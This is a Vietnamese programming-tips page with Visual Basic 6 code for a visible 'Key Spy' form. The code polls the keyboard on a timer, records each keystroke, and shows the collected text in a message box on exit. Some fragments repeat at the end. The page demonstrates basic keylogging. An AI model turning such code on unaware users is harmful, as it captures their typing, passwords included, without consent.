Các chiêu thức trong lập trình Ghi lại tất cả những phím gõ tên bàn phím

“Ghi lại tất cả những phím gõ tên bàn phím” home Xuất xứ : www.allapi.net Binh khí sử dụng : Cần một cái Module Đoạn mã : Trong Module : Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long Function GetPressedKey() As String For Cnt = 32 To 128 If GetAsyncKeyState(Cnt) <> 0 Then GetPressedKey = Chr$(Cnt) Exit For End If Next Cnt End Function Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Ret = GetPressedKey If Ret <> sOld Then sOld = Ret sSave = sSave + sOld End If End Sub Trong Form : Private Sub Form_Load() Me.Caption = "Key Spy" SetTimer Me.hwnd, 0, 1, AddressOf TimerProc End Sub Private Sub Form_Paint() Dim R As RECT Const mStr = "Nao bat dau go di khi ban an dau X de thoat ban se thay bat ngo thu vi day." Me.Cls Me.ScaleMode = vbPixels SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0& End Sub Private Sub Form_Resize() Form_Paint End Sub Private Sub Form_Unload(Cancel As Integer) KillTimer Me.hwnd, 0 MsgBox sSave End Sub . Ghi lại tất cả những phím gõ tên bàn phím home Xuất xứ : www.allapi.net Binh khí sử dụng : Cần một cái Module Đoạn mã : Trong Module :. GetPressedKey If Ret <> sOld Then sOld = Ret sSave = sSave + sOld End If End Sub Trong Form : Private Sub Form_Load() Me.Caption = "Key Spy" SetTimer